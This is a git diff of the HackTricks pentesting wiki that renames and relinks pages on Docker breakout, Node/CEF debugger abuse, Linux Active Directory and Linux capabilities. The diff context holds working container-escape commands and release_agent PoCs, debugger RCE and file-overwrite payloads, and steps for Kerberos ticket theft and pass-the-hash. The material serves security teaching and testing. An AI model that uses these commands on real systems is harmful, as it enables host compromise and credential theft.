apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> To [escalate abusing capabilities](../linux-capabilities.md), **grant that capability to the container** and disable other protection methods that may prevent the exploit to work. -## Curl +### Curl In this page we have discussed ways to escalate privileges using docker flags, you can find **ways to abuse these methods using curl** command in the page: @@ -60,7 +59,6 @@ In this page we have discussed ways to escalate privileges using docker flags, y [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) {% endcontent-ref %} -
Support HackTricks and get benefits! @@ -76,5 +74,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/linux-unix/privilege-escalation/docker-breakout/apparmor.md b/linux-hardening/privilege-escalation/docker-breakout/apparmor.md similarity index 100% rename from linux-unix/privilege-escalation/docker-breakout/apparmor.md rename to linux-hardening/privilege-escalation/docker-breakout/apparmor.md diff --git a/linux-unix/privilege-escalation/docker-breakout/authz-and-authn-docker-access-authorization-plugin.md b/linux-hardening/privilege-escalation/docker-breakout/authz-and-authn-docker-access-authorization-plugin.md similarity index 100% rename from linux-unix/privilege-escalation/docker-breakout/authz-and-authn-docker-access-authorization-plugin.md rename to linux-hardening/privilege-escalation/docker-breakout/authz-and-authn-docker-access-authorization-plugin.md diff --git a/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md b/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/README.md similarity index 90% rename from linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md rename to linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/README.md index a904299b..d5a32062 100644 --- a/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md +++ b/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/README.md @@ -1,4 +1,4 @@ - +# Docker Breakout / Privilege Escalation
@@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Automatic Enumeration & Escape +## Automatic Enumeration & Escape * [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): It can also **enumerate containers** * [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): This tool is pretty **useful to enumerate the container you are into even try to escape automatically** @@ -25,7 +24,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [**deepce**](https://github.com/stealthcopter/deepce): Tool to enumerate and escape from containers * [**grype**](https://github.com/anchore/grype): Get the CVEs contained in the software installed in the image -# Mounted Docker Socket Escape +## Mounted Docker Socket Escape If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.\ This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions. @@ -49,7 +48,7 @@ docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`** {% endhint %} -Docker daemon might be also [listening in a port (by default 2375, 2376)](../../../pentesting/2375-pentesting-docker.md) or on Systemd-based systems, communication with the Docker daemon can occur over the Systemd socket `fd://`. +Docker daemon might be also [listening in a port (by default 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) or on Systemd-based systems, communication with the Docker daemon can occur over the Systemd socket `fd://`. {% hint style="info" %} Additionally, pay attention to the runtime sockets of other high-level runtimes: @@ -62,7 +61,7 @@ Additionally, pay attention to the runtime sockets of other high-level runtimes: * ... {% endhint %} -# Capabilities Abuse Escape +## Capabilities Abuse Escape You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** @@ -74,11 +73,11 @@ capsh --print In the following page you can **learn more about linux capabilities** and how to abuse them to escape/escalate privileges: -{% content-ref url="../linux-capabilities.md" %} -[linux-capabilities.md](../linux-capabilities.md) +{% content-ref url="../../linux-capabilities.md" %} +[linux-capabilities.md](../../linux-capabilities.md) {% endcontent-ref %} -# Escape from Privileged Containers +## Escape from Privileged Containers A privileged container can be created with the flag `--privileged` or disabling specific defenses: @@ -93,11 +92,11 @@ A privileged container can be created with the flag `--privileged` or disabling The `--privileged` flag introduces significant security concerns, and the exploit relies on launching a docker container with it enabled. When using this flag, containers have full access to all devices and lack restrictions from seccomp, AppArmor, and Linux capabilities. You can r**ead all the effects of `--privileged`** in this page: -{% content-ref url="docker-privileged.md" %} -[docker-privileged.md](docker-privileged.md) +{% content-ref url="../docker-privileged.md" %} +[docker-privileged.md](../docker-privileged.md) {% endcontent-ref %} -## Privileged + hostPID +### Privileged + hostPID With these permissions you can just **move to the namespace of a process running in the host as root** like init (pid:1) just running: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` @@ -107,7 +106,7 @@ Test it in a container executing: docker run --rm -it --pid=host --privileged ubuntu bash ``` -## Privileged +### Privileged Just with the privileged flag you can try to **access the host's disk** or try to **escape abusing release\_agent or other escapes**. @@ -117,7 +116,7 @@ Test the following bypasses in a container executing: docker run --rm -it --privileged ubuntu bash ``` -### Mounting Disk - Poc1 +#### Mounting Disk - Poc1 Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive. @@ -132,7 +131,7 @@ mount /dev/sda1 /mnt/hola And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder. -### Mounting Disk - Poc2 +#### Mounting Disk - Poc2 Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector: @@ -157,7 +156,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to debugfs /dev/sda1 ``` -### Privileged Escape Abusing release\_agent - PoC1 +#### Privileged Escape Abusing release\_agent - PoC1 {% code title="Initial PoC" %} ```bash @@ -195,7 +194,7 @@ cat /o ``` {% endcode %} -### Privileged Escape Abusing release\_agent - PoC2 +#### Privileged Escape Abusing release\_agent - PoC2 {% code title="Second PoC" %} ```bash @@ -243,16 +242,16 @@ cat /output Find an **explanation of the technique** in: -{% content-ref url="docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md" %} -[docker-release\_agent-cgroups-escape.md](docker-breakout-privilege-escalation/docker-release\_agent-cgroups-escape.md) +{% content-ref url="docker-release_agent-cgroups-escape.md" %} +[docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md) {% endcontent-ref %} -### Privileged Escape Abusing release\_agent without known the relative path - PoC3 +#### Privileged Escape Abusing release\_agent without known the relative path - PoC3 In the previous exploits the **absolute path of the continer inside the hosts filesystem is disclosed**. However, this isn’t always the case. In cases where you **don’t know the absolute path of the continer inside the host** you can use this technique: -{% content-ref url="docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md" %} -[release\_agent-exploit-relative-paths-to-pids.md](docker-breakout-privilege-escalation/release\_agent-exploit-relative-paths-to-pids.md) +{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %} +[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md) {% endcontent-ref %} ```bash @@ -345,24 +344,24 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` -### Privileged Escape Abusing Sensitive Mounts +#### Privileged Escape Abusing Sensitive Mounts There are several files that might mounted that give **information about the underlaying host**. Some of them may even indicate **something to be executed by the host when something happens** (which will allow a attacker to escape from the container).\ The abuse of these files may allow that: * release\_agent (already covered before) -* [binfmt\_misc](docker-breakout-privilege-escalation/sensitive-mounts.md#proc-sys-fs-binfmt\_misc) -* [core\_pattern](docker-breakout-privilege-escalation/sensitive-mounts.md#proc-sys-kernel-core\_pattern) -* [uevent\_helper](docker-breakout-privilege-escalation/sensitive-mounts.md#sys-kernel-uevent\_helper) -* [modprobe](docker-breakout-privilege-escalation/sensitive-mounts.md#proc-sys-kernel-modprobe) +* [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc) +* [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern) +* [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper) +* [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe) However, you can find **other sensitive files** to check for in this page: -{% content-ref url="docker-breakout-privilege-escalation/sensitive-mounts.md" %} -[sensitive-mounts.md](docker-breakout-privilege-escalation/sensitive-mounts.md) +{% content-ref url="sensitive-mounts.md" %} +[sensitive-mounts.md](sensitive-mounts.md) {% endcontent-ref %} -## Arbitrary Mounts +### Arbitrary Mounts In several occasions you will find that the **container has some volume mounted from the host**. If this volume wasn’t correctly configured you might be able to **access/modify sensitive data**: Read secrets, change ssh authorized\_keys… @@ -370,7 +369,7 @@ In several occasions you will find that the **container has some volume mounted docker run --rm -it -v /:/host ubuntu bash ``` -## hostPID +### hostPID If you can access the processes of the host you are going to be able to access a lot of sensitive information stored in those processes. Run test lab: @@ -409,7 +408,7 @@ You can also **kill processes and cause a DoS**. If you somehow has privileged **access over a process outside of the container**, you could run something like `nsenter --target --all` or `nsenter --target --mount --net --pid --cgroup` to **run a shell with the same ns restrictions** (hopefully none) **as that process.** {% endhint %} -## hostNetwork +### hostNetwork ``` docker run --rm -it --network=host ubuntu bash @@ -426,11 +425,11 @@ Like in the following examples: You will be able also to access **network services binded to localhost** inside the host or even access the **metadata permissions of the node** (which might be different those a container can access): -{% content-ref url="../../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md" %} -[kubernetes-access-to-other-clouds.md](../../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md) +{% content-ref url="../../../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md" %} +[kubernetes-access-to-other-clouds.md](../../../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md) {% endcontent-ref %} -## hostIPC +### hostIPC ``` docker run --rm -it --ipc=host ubuntu bash @@ -441,9 +440,9 @@ If you only have `hostIPC=true`, you most likely can't do much. If any process o * **Inspect /dev/shm** - Look for any files in this shared memory location: `ls -la /dev/shm` * **Inspect existing IPC facilities** – You can check to see if any IPC facilities are being used with `/usr/bin/ipcs`. Check it with: `ipcs -a` -# CVEs +## CVEs -## Runc exploit (CVE-2019-5736) +### Runc exploit (CVE-2019-5736) In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload. @@ -460,9 +459,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape There are other CVEs the container can be vulnerable too, you can find a list in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) {% endhint %} -# Breakout Templates +## Breakout Templates -## Container Breakout through Usermode helper Template +### Container Breakout through Usermode helper Template If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode): @@ -474,7 +473,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new * Have **enough capabilities and disabled protections** to be able to abuse that functionality * You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container -# References +## References * [https://twitter.com/\_fel1x/status/1151487053370187776?lang=en-GB](https://twitter.com/\_fel1x/status/1151487053370187776?lang=en-GB) * [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) @@ -484,7 +483,6 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new * [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket) * [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4) -
Support HackTricks and get benefits! @@ -500,5 +498,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md similarity index 100% rename from linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md rename to linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md diff --git a/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md b/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md similarity index 100% rename from linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md rename to linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md diff --git a/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts.md b/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts.md similarity index 100% rename from linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts.md rename to linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts.md diff --git a/linux-unix/privilege-escalation/docker-breakout/docker-privileged.md b/linux-hardening/privilege-escalation/docker-breakout/docker-privileged.md similarity index 100% rename from linux-unix/privilege-escalation/docker-breakout/docker-privileged.md rename to linux-hardening/privilege-escalation/docker-breakout/docker-privileged.md diff --git a/linux-unix/privilege-escalation/docker-breakout/namespaces.md b/linux-hardening/privilege-escalation/docker-breakout/namespaces.md similarity index 100% rename from linux-unix/privilege-escalation/docker-breakout/namespaces.md rename to linux-hardening/privilege-escalation/docker-breakout/namespaces.md diff --git a/linux-unix/privilege-escalation/docker-breakout/seccomp.md b/linux-hardening/privilege-escalation/docker-breakout/seccomp.md similarity index 100% rename from linux-unix/privilege-escalation/docker-breakout/seccomp.md rename to linux-hardening/privilege-escalation/docker-breakout/seccomp.md diff --git a/linux-unix/privilege-escalation/electron-cef-chromium-debugger-abuse.md b/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md similarity index 94% rename from linux-unix/privilege-escalation/electron-cef-chromium-debugger-abuse.md rename to linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md index e9e79e0f..fc322d8b 100644 --- a/linux-unix/privilege-escalation/electron-cef-chromium-debugger-abuse.md +++ b/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md @@ -1,5 +1,7 @@ # Node inspector/CEF debug abuse +## Node inspector/CEF debug abuse +
Support HackTricks and get benefits! @@ -16,8 +18,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Basic Information +## Basic Information When started with the `--inspect` switch, a Node.js process listens for a debugging client. By **default**, it will listen at host and port **`127.0.0.1:9229`**. Each process is also assigned a **unique** **UUID**. @@ -55,7 +56,7 @@ When you start a debugged browser something like this will appear: DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369 ``` -## Browsers, WebSockets and same-origin policy +### Browsers, WebSockets and same-origin policy Websites open in a web-browser can make WebSocket and HTTP requests under the browser security model. An **initial HTTP connection** is necessary to **obtain a unique debugger session id**. The **same-origin-policy** **prevents** websites from being able to make **this HTTP connection**. For additional security against [**DNS rebinding attacks**](https://en.wikipedia.org/wiki/DNS\_rebinding)**,** Node.js verifies that the **'Host' headers** for the connection either specify an **IP address** or **`localhost`** or **`localhost6`** precisely. @@ -63,7 +64,7 @@ Websites open in a web-browser can make WebSocket and HTTP requests under the br This **security measures prevents exploiting the inspector** to run code by **just sending a HTTP request** (which could be done exploiting a SSRF vuln). {% endhint %} -## Starting inspector in running processes +### Starting inspector in running processes You can send the **signal SIGUSR1** to a running nodejs process to make it **start the inspector** in the default port. However, note that you need to have enough privileges, so this might grant you **privileged access to information inside the process** but no a direct privilege escalation. @@ -76,7 +77,7 @@ kill -s SIGUSR1 This is useful in containers because **shutting down the process and starting a new one** with `--inspect` is **not an option** because the **container** will be **killed** with the process. {% endhint %} -## Connect to inspector/debugger +### Connect to inspector/debugger If you have access to a **Chromium base browser** you can connect accessing `chrome://inspect` or `edge://inspect` in Edge. Click the Configure button and ensure your **target host and port** are listed (Find an example in the following image of how to get RCE using one of the next sections examples). @@ -106,10 +107,10 @@ The tool [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefd Note that **NodeJS RCE exploits won't work** if connected to a browser via [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) \*\*\*\* (you need to check the API to find interesting things to do with it). {% endhint %} -# RCE in NodeJS Debugger/Inspector +## RCE in NodeJS Debugger/Inspector {% hint style="info" %} -If you came here looking how to get [**RCE from a XSS in Electron please check this page.**](../../pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/) +If you came here looking how to get [**RCE from a XSS in Electron please check this page.**](../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/) {% endhint %} Some common ways to obtain **RCE** when you can **connect** to a Node **inspector** is using something like (looks that this **won't work in a connection to Chrome DevTools protocol**): @@ -121,12 +122,12 @@ require('child_process').spawnSync('calc.exe') Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"})) ``` -# Chrome DevTools Protocol Payloads +## Chrome DevTools Protocol Payloads You can check the API here: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ In this section I will just list interesting things I find people have used to exploit this protocol. -## Overwrite Files +### Overwrite Files Change the folder where **downloaded files are going to be saved** and download a file to **overwrite** frequently used **source code** of the application with your **malicious code**. @@ -142,11 +143,11 @@ ws.send(JSON.stringify({ })); ``` -## Webdriver RCE and exfiltration +### Webdriver RCE and exfiltration According to this post: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) it's possible to obtain RCE and exfiltrate internal pages from theriver. -## Post-Exploitation +### Post-Exploitation In a real environment and **after compromising** a user PC that uses Chrome/Chromium based browser you could launch a Chrome process with the **debugging activated and port-forward the debugging port** so you can access it. This way you will be able to **inspect everything the victim does with Chrome and steal sensitive information**. @@ -156,7 +157,7 @@ The stealth way is to **terminate every Chrome process** and then call something Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session" ``` -# References +## References * [https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s](https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s) * [https://github.com/taviso/cefdebug](https://github.com/taviso/cefdebug) diff --git a/linux-unix/privilege-escalation/escaping-from-limited-bash.md b/linux-hardening/privilege-escalation/escaping-from-limited-bash.md similarity index 100% rename from linux-unix/privilege-escalation/escaping-from-limited-bash.md rename to linux-hardening/privilege-escalation/escaping-from-limited-bash.md diff --git a/linux-unix/privilege-escalation/interesting-groups-linux-pe/README.md b/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md similarity index 100% rename from linux-unix/privilege-escalation/interesting-groups-linux-pe/README.md rename to linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md diff --git a/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md b/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md similarity index 100% rename from linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md rename to linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md diff --git a/linux-unix/privilege-escalation/ld.so.conf-example.md b/linux-hardening/privilege-escalation/ld.so.conf-example.md similarity index 100% rename from linux-unix/privilege-escalation/ld.so.conf-example.md rename to linux-hardening/privilege-escalation/ld.so.conf-example.md diff --git a/linux-unix/privilege-escalation/linux-active-directory.md b/linux-hardening/privilege-escalation/linux-active-directory.md similarity index 92% rename from linux-unix/privilege-escalation/linux-active-directory.md rename to linux-hardening/privilege-escalation/linux-active-directory.md index 7c18896b..0c13db0f 100644 --- a/linux-unix/privilege-escalation/linux-active-directory.md +++ b/linux-hardening/privilege-escalation/linux-active-directory.md @@ -1,4 +1,4 @@ - +# Linux Active Directory
@@ -16,24 +16,23 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- A linux machine can also be present inside an Active Directory environment. A linux machine in an AD might be **storing different CCACHE tickets inside files. This tickets can be used and abused as any other kerberos ticket**. In order to read this tickets you will need to be the user owner of the ticket or **root** inside the machine. -## General enumeration +### General enumeration If you have access over an AD in linux (or bash in Windows) you can try [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) to enumerate the AD. -## Pass The Ticket +### Pass The Ticket In this page you are going to find different places were you could **find kerberos tickets inside a linux host**, in the following page you can learn how to transform this CCache tickets formats to Kirbi (the format you need to use in Windows) and also how to perform a PTT attack: -{% content-ref url="../../windows/active-directory-methodology/pass-the-ticket.md" %} -[pass-the-ticket.md](../../windows/active-directory-methodology/pass-the-ticket.md) +{% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %} +[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md) {% endcontent-ref %} -## CCACHE ticket reuse from /tmp +### CCACHE ticket reuse from /tmp > When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions @@ -48,7 +47,7 @@ krb5cc_1569901115 export KRB5CCNAME=/tmp/krb5cc_1569901115 ``` -## CCACHE ticket reuse from keyring +### CCACHE ticket reuse from keyring Processes may **store kerberos tickets inside their memory**, this tool can be useful to extract those tickets (ptrace protection should be disabled in the machine `/proc/sys/kernel/yama/ptrace_scope`): [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) @@ -70,11 +69,11 @@ make CONF=Release [X] [uid:0] Error retrieving tickets ``` -## CCACHE ticket reuse from SSSD KCM +### CCACHE ticket reuse from SSSD KCM SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. By default, the key is only readable if you have **root** permissions. -Invoking **`SSSDKCMExtractor` ** with the --database and --key parameters will parse the database and **decrypt the secrets**. +Invoking \*\*`SSSDKCMExtractor` \*\* with the --database and --key parameters will parse the database and **decrypt the secrets**. ```bash git clone https://github.com/fireeye/SSSDKCMExtractor @@ -83,7 +82,7 @@ python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey The **credential cache Kerberos blob can be converted into a usable Kerberos CCache** file that can be passed to Mimikatz/Rubeus. -## CCACHE ticket reuse from keytab +### CCACHE ticket reuse from keytab ```bash git clone https://github.com/its-a-feature/KeytabParser @@ -91,7 +90,7 @@ python KeytabParser.py /etc/krb5.keytab klist -k /etc/krb5.keytab ``` -## Extract accounts from /etc/krb5.keytab +### Extract accounts from /etc/krb5.keytab The service keys used by services that run as root are usually stored in the keytab file **`/etc/krb5.keytab`**. This service key is the equivalent of the service's password, and must be kept secure. @@ -132,11 +131,10 @@ $ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0 ``` -# References +## References * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory) -
Support HackTricks and get benefits! @@ -152,5 +150,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/linux-unix/privilege-escalation/linux-capabilities.md b/linux-hardening/privilege-escalation/linux-capabilities.md similarity index 98% rename from linux-unix/privilege-escalation/linux-capabilities.md rename to linux-hardening/privilege-escalation/linux-capabilities.md index 00d95f41..36781f54 100644 --- a/linux-unix/privilege-escalation/linux-capabilities.md +++ b/linux-hardening/privilege-escalation/linux-capabilities.md @@ -1,5 +1,7 @@ # Linux Capabilities +## Linux Capabilities +
Support HackTricks and get benefits! @@ -16,16 +18,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- Linux capabilities **provide a subset of the available root privileges** to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation. -# Why capabilities? +## Why capabilities? To better understand how Linux capabilities work, let’s have a look first at the problem it tries to solve. Let’s assume we are running a process as a normal user. This means we are non-privileged. We can only access data that owned by us, our group, or which is marked for access by all users. At some point in time, our process needs a little bit more permissions to fulfill its duties, like opening a network socket. The problem is that normal users can not open a socket, as this requires root permissions. -# Capabilities Sets +## Capabilities Sets **Inherited capabilities** @@ -44,9 +45,9 @@ For a detailed explanation of the difference between capabilities in threads and * [https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work](https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work) * [https://blog.ploetzli.ch/2014/understanding-linux-capabilities/](https://blog.ploetzli.ch/2014/understanding-linux-capabilities/) -# Processes & Binaries Capabilities +## Processes & Binaries Capabilities -## Processes Capabilities +### Processes Capabilities To see the capabilities for a particular process, use the **status** file in the /proc directory. As it provides more details, let’s limit it only to the information related to Linux capabilities.\ Note that for all running processes capability information is maintained per thread, for binaries in the file system it’s stored in extended attributes. @@ -127,7 +128,7 @@ $ capsh --decode=0000000000003000 As you can see the given capabilities corresponds with the results of the 2 ways of getting the capabilities of a binary.\ The _getpcaps_ tool uses the **capget()** system call to query the available capabilities for a particular thread. This system call only needs to provide the PID to obtain more information. -## Binaries Capabilities +### Binaries Capabilities Binaries can have capabilities that can be used while executing. For example, it's very common to find `ping` binary with `cap_net_raw` capability: @@ -142,7 +143,7 @@ You can **search binaries with capabilities** using: getcap -r / 2>/dev/null ``` -## Dropping capabilities with capsh +### Dropping capabilities with capsh If we drop the CAP\_NET\_RAW capabilities for _ping_, then the ping utility should no longer work. @@ -156,7 +157,7 @@ Besides the output of _capsh_ itself, the _tcpdump_ command itself should also r The error clearly shows that the ping command is not allowed to open an ICMP socket. Now we know for sure that this works as expected. -## Remove Capabilities +### Remove Capabilities You can remove capabilities of a binary with @@ -164,7 +165,7 @@ You can remove capabilities of a binary with setcap -r ``` -# User Capabilities +## User Capabilities Apparently **it's possible to assign capabilities also to users**. This probably means that every process executed by the user will be able to use the users capabilities.\ Base on on [this](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [this ](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html)and [this ](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user)a few files new to be configured to give a user certain capabilities but the one assigning the capabilities to each user will be `/etc/security/capability.conf`.\ @@ -184,7 +185,7 @@ cap_net_admin,cap_net_raw jrnetadmin cap_sys_admin,22,25 jrsysadmin ``` -# Environment Capabilities +## Environment Capabilities Compiling the following program it's possible to **spawn a bash shell inside an environment that provides capabilities**. @@ -297,11 +298,11 @@ Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip You can **only add capabilities that are present** in both the permitted and the inheritable sets. {% endhint %} -## Capability-aware/Capability-dumb binaries +### Capability-aware/Capability-dumb binaries The **capability-aware binaries won't use the new capabilities** given by the environment, however the **capability dumb binaries will us**e them as they won't reject them. This makes capability-dumb binaries vulnerable inside a special environment that grant capabilities to binaries. -# Service Capabilities +## Service Capabilities By default a **service running as root will have assigned all the capabilities**, and in some occasions this may be dangerous.\ Therefore, a **service configuration** file allows to **specify** the **capabilities** you want it to have, **and** the **user** that should execute the service to avoid running a service with unnecessary privileges: @@ -312,7 +313,7 @@ User=bob AmbientCapabilities=CAP_NET_BIND_SERVICE ``` -# Capabilities in Docker Containers +## Capabilities in Docker Containers By default Docker assigns a few capabilities to the containers. It's very easy to check which capabilities are these by running: @@ -331,7 +332,7 @@ docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash ``` -# Privesc/Container Escape +## Privesc/Container Escape Capabilities are useful when you **want to restrict your own processes after performing privileged operations** (e.g. after setting up chroot and binding to a socket). However, they can be exploited by passing them malicious commands or arguments which are then run as root. @@ -354,7 +355,7 @@ To identify programs in a system or folder with capabilities: getcap -r / 2>/dev/null ``` -## Exploitation example +### Exploitation example In the following example the binary `/usr/bin/python2.6` is found vulnerable to privesc: @@ -374,7 +375,7 @@ getcap /usr/sbin/tcpdump /usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip ``` -## The special case of "empty" capabilities +### The special case of "empty" capabilities Note that one can assign empty capability sets to a program file, and thus it is possible to create a 